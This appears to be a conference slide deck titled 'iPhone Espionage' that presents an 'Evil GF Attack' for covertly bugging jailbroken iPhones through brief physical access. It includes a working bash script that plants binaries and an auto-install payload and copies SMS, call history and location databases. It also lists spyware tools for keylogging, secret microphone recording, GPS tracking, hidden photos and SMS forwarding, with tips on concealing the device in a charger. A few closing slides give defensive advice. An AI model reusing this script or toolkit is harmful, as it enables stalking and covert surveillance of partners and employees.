iPhone Espionage

Keith Lee (@keith55)
http://milo2012.wordpress.com
[whoami]

- Keith Lee

- I am from Singapore

- I love breaking stuff.
Jailbroken iPhone

• Everyone knows that jailbroken iPhone isn’t secure because you have root access and you are on your own.

• Maybe the iPhone PIN makes you feel safer since you have might have a long password.

• Its not..
iPhone’s PIN-Based Security Transparent To Ubuntu

"Security experts found that the iPhone 3GS has very little security, even with a PIN set up. They plugged one into Ubuntu 10.04, and it was automounted with almost all of the iPhone’s data exposed. This has been reported to Apple, but the company seems to be having difficulty reproducing the problem."
The iPhone is selling very well in China. In fact, China is Apple’s fastest growing market for the iPhone.

According to a recent survey by UMeng, a Chinese statistic firm, 34.6% (roughly one third) of the iPhones in China are jailbroken. The iPhone accounts for 8.3% of China’s 850 million mobile customers.

Closer look after the break...

TechNode translates UMeng’s findings:

- iPhone 4 is the most popular share; iPhone 3GS takes the third.
- Majority of the iOS devices are jailbroken.
- In average, 34.6% of iOS devices percentage of jailbroken iPhone.
- iOS users are relatively less jailbroken.
- Users are willing to use iPhone 3GS.
- iPhone users are better at cities.
- Guangzhou, Shanghai, Beijing cities/provinces where 52%

Top Categories
- Android
- Apple iOS
- Blackberry
- Symbian
- WebOS
- Windows Mobile
- Windows Phone

Trending Tags

NY Times: 6.7% of iPhones/iPods Are Jailbroken

May 14, 2009 2:15 PM EST  |  9 Comments

By Sascha Segan

About 6.7 percent of iPhones and iPod Touches have been "jailbroken," letting their users download unapproved apps from non-Apple stores, according to a story in the New York Times.

Nearly half of the iPhone 3GSs and iPod Touches are jailbroken, according to a number when you consider that there are around 60 million iPhones in China alone.
Evil GF Attack

• Based on the tests I conducted, only jailbroken iPhones are vulnerable.

• Your PIN on your jailbroken iPhone is useless

• All it takes is 3 seconds to bug an iPhone. Can be further optimized.
Evil GF Attack (More)

- We have to take into account that we have very little contact time with the iPhone

- We need to easily drop modules onto the target iPhone

- It must not consume too much of battery juice to bring suspicion. Do the heavy duty stuff during sleep hours. Just drop an agent in first.
Mobilize the attack

• What if this attack becomes mobile and run from a portable device like Beagleboard / Rasperberry PI / Neopwn Mobile?

• These devices require very little and low power.

• They are silent, small and can be disguised and concealed (for e.g. Mobile charger?)
Single Board Computers that Support Linux

- Raspberry Pi @ USD$25
- Beagleboard @ USD$125-149
- Gumstix Overo with Expansion Board for USB port @ USD$259
Findings

• Full access to the entire iPhone file system

• Unable to run any launchctl commands which is necessary to allow our binaries to run during startup
LaunchDaemons

Below are a list of safe to delete LaunchDaemons that can be deleted on the iPhone.

- com.apple.DumpPanic.plist
- com.apple.CrashHouseKeeping.plist
- com.apple.aslmanager.plist
- com.apple.syslogd.plist
- com.apple.stackshot.server.plist
- and many more.

Modifying PList files

- Original `com.apple.CrashHousekeeping.plist`

- Amended `com.apple.CrashHousekeeping.plist`
Evil GF Attack Demo - Part I
Connect the jailbroken iPhone to Linux
Evil GF Attack Demo - Part 2
After the payload was transferred via USB
Required Software

- apt-get install libusb-dev usbmuxd libimobiledevice-dev libplist-dev libgnutls-dev build-essential libgnutls-dev libxml2-dev libreadline5-dev libgcrypt-dev libglib2.0-dev libplist-dev libusbmuxd-dev usbmuxd make automake autoconf libtool gcc python-dev git libfuse-dev libimobiledevice-utils -y

- git clone https://github.com/mcolyer/libiphone.git

- wget http://www.libimobiledevice.org/downloads/ideviceinstaller-1.0.0.tar.bz2

- apt-get install libgtk2.0-dev libnautilus-extension-dev intltool libzip-dev -y

- wget http://www.libimobiledevice.org/downloads/nautilus-ideviceinfo-0.1.0.tar.bz2
Code that detects iPhone and deploys binaries

```bash
#!/bin/bash

mntp=/media/iPhone
DATE=`date +%e-%m-%y`
TIME=`date +%H-%M-%S`
dstlocation=/tmp1/DB/
debPath=/tmp1/Cydia
mkdir /tmp1/Cydia
rm -rf DB/ -y

i=0
while [ $i -le 1 ]
do
  if ( lsusb | grep -i 'Apple' ); then
    mkdir /media/iPhone
    ifuse $mntp --root
    mkdir -p /media/iPhone/var/root/Media/Cydia/AutoInstall
    sleep 1
    cp /tmp1/
    echo "iPhone has been mounted"
    cp "/tmp1/Transfer/sql2" $mntp"/usr/bin/sql2"
    deviceName=`deviceinfo -s | grep -i "DeviceName" | awk '{print $2}'`
    newdstLocation=$dstlocation$deviceName
    if [ ! -d $newdstLocation ]; then
      mkdir -p $newdstLocation
      echo $newdstLocation
      cp -fr $debPath $mntp"/var/root/Media/Cydia/AutoInstall"
      cp -fr $mntp"/private/var/mobile/Library/SMS/sms.db" $newdstLocation
      cp -fr $mntp"/private/var/root/Library/Caches/location/consolidated.db" $newdstLocation
      cp -fr $mntp"/private/var/mobile/Library/CallHistory/call_history.db" $newdstLocation"/call_history_mobile.db"
      cp -fr $mntp"/private/var/wireless/Library/CallHistory/call_history.db" $newdstLocation"/call_history_wireless.db"
      cp -fr $mntp"/private/var/mobile/Library/Caches/Maps/MapTiles/MapTiles.sqlite" $newdstLocation
      cp -fr $mntp"/private/var/mobile/Library/Caches/Maps/MapTiles/sqilitedb" $newdstLocation
      ideviceinstaller -l > $newdstLocation/installedSoftware.txt
      deviceinfo -s > $newdstLocation/deviceInfo.txt
      fusermount -u $mntp
      echo "Backup Completed"
    else
      echo "Skipping. Device was already backed up"
      sleep 10
    fi
  fi
done
```
Demo of Whatsapp Inteceptor
Its easy to write tools for Jailbroken iPhone

- It's easy to hijack Skype traffic
What other cool things you can do with an iPhone?

• Keystroke logger?

• Turn on the microphone remotely so that you can listen in?

• Track GPS location?

• Take picture from iPhone camera without the person knowing so that you can know about the surrounding?

• Screen capture?

• Intercept SMS?
### iPhone-Espionage /

<table>
<thead>
<tr>
<th>name</th>
<th>age</th>
<th>message</th>
</tr>
</thead>
<tbody>
<tr>
<td>evil_gf_attack/</td>
<td>about 5 hours ago</td>
<td>bug fixes [milo2012]</td>
</tr>
<tr>
<td>kbhook2/</td>
<td>October 01, 2011</td>
<td>first commit [milo2012]</td>
</tr>
<tr>
<td>location1/</td>
<td>October 03, 2011</td>
<td>add location tracking tool [milo2012]</td>
</tr>
<tr>
<td>mic1/</td>
<td>October 01, 2011</td>
<td>Upload mic1 (command line microphone recorder) [milo2012]</td>
</tr>
<tr>
<td>screenCapture1/</td>
<td>October 03, 2011</td>
<td>add screenCapture1 [milo2012]</td>
</tr>
<tr>
<td>sms2/</td>
<td>5 days ago</td>
<td>Forwards all incoming sms to 3rd party's mobile [milo2012]</td>
</tr>
<tr>
<td>sql1/</td>
<td>about 6 hours ago</td>
<td>fix bug in installation script [milo2012]</td>
</tr>
<tr>
<td>sql2/</td>
<td>about 5 hours ago</td>
<td>script to be copied to mobile device [milo2012]</td>
</tr>
<tr>
<td>takePicture/</td>
<td>October 01, 2011</td>
<td>Added sms1 (broken) and takePicture [milo2012]</td>
</tr>
<tr>
<td>whatsapp1/</td>
<td>about 6 hours ago</td>
<td>fix bug in installation script [milo2012]</td>
</tr>
</tbody>
</table>
How about Enterprise iPhone apps?

• End to end secure communication between the iPhone and their MS Exchange server.

• Persistent content protection of emails and attachments

• But wait, I can take snapshots of the screens remotely! Doesn't that mean I have all the emails now? I just need to run the images thru an OCR for easier reading.

• Gone are the days for spy bugs. You have remote access to the entire calendar. Schedule your voice recording of your target remotely! Maybe during the board meetings?
How about Enterprise iPhone apps?

- Paypal is doing an awesome job but doesn’t it mean less business for the companies using Paypal service?

- How is your Microsoft Exchange Mobile Policy doing?
Developing for Jailbroken iPhones

- export THEOS=/opt/theos

- git clone git://github.com/DHowett/theos.git $THEOS

- curl -s http://dl.dropbox.com/u/3157793/ldid > $THEOS/bin/ldid; chmod +x $THEOS/bin/ldid

- Download the private frameworks from https://github.com/kennytm/iphone-private-frameworks and extract to $THEOS/include

- $THEOS/bin/nic.pl
Tips for Tweaks Development

- If you want to look at the traffic for a particular iPhone application, it might be easier to use a tweak as it hooks onto the methods that the classes provide.

- Using Organizer in XCode can provide valuable information about the methods that the application is calling.

Tool and Tweak

- Tool and Tweak

```
Tool and Tweak

```

```
Milo$ sudo ./nic.pl
NIC 1.0 - New Instance Creator

[1.] iphone/application
[2.] iphone/library
[3.] iphone/preference_bundle
[4.] iphone/tool
[5.] iphone/tweak

Choose a Template (required): 4
Project Name (required): app9
Package Name [com.yourcompany.app9]:
Author/Maintainer Name [System Administrator]:
Instantiating iphone/tool in app9/...
Done.
```
Tips for Tweaks Development

• Run **Class-Dump** against the decrypted iPhone binary
  http://www.codethencode.com/projects/class-dump/

• If you are unable to get any results, then decrypt it first using Crackulous (Cydia)

• If you want to find out which IOS framework functions the iPhone binary is using, sometimes running “strings” against the decrypted binary can save a lot of time
MakeFile for Theos

• You can also use Open Toolchain with Xcode using the instructions from http://www.alexwhittemore.com/?p=281 but I prefer using command line.

• You might want to use the below sample MakeFile if you choose to use THEOS. Extracted from Open Toolchain

```bash
# Include common makefile
#include theos/makefiles/common.mk

# Define variables
TOOL_NAME = test88
test88_FILES = main.mm

# Set compiler flags
include $(THEOS_MAKE_PATH)/tool.mk

# Link flags
LDFLAGS += -framework CoreFoundation
LDFLAGS += -framework Foundation
LDFLAGS += -framework CoreTelephony
LDFLAGS += -L"$(SDK)/usr/lib"
LDFLAGS += -F"$(SDK)/System/Library/Frameworks"
LDFLAGS += -F"$(SDK)/System/Library/PrivateFrameworks"

# Compile flags
CFLAGS += -I"$(SDK)/usr/include"
CFLAGS += -I"$(SDK)/usr/include"
CFLAGS += -I"$(SDK)/usr/include"
CFLAGS += -DDEBUG -std=c99
CFLAGS += -Diphoneos_version_min=2.0

# Include common makefile
#include theos/makefiles/common.mk

# Define variables
TOOL_NAME = test2
test2_FILES = test2.mm

# Set compiler flags
include $(THEOS_MAKE_PATH)/tool.mk
```
What now for jailbroken iPhone users?

• Apple protects those who doesn’t jailbreak their phone due to sandboxing, what about the rest of us who has jailbroken our iPhone? Are we all alone?

• The current antivirus products for iOS devices can only scan for attachments or remote storage

• There is an app in Cydia called **Firewall IP** which notifies you about incoming and outgoing traffic and lets you decide what to do with it

• It not be sufficient but at least you will know when there is a suspicious incoming/outgoing connection
What now for jailbroken iPhone users?

- Download iFile from Cydia and check /System/Library/LaunchDaemons and /Library/MobileSubstrate/DynamicLibraries

- Don’t leave your mobile phones alone

- Wait for an Antivirus company to develop an app that can detect malicious binaries on the iphone.
The End

- Source code for all tools/tweaks are available at https://github.com/milo2012/iPhone-Espionage

- My website can be found at http://milo2012.wordpress.com/

- Alternatively, you can also each me via Twitter @keith55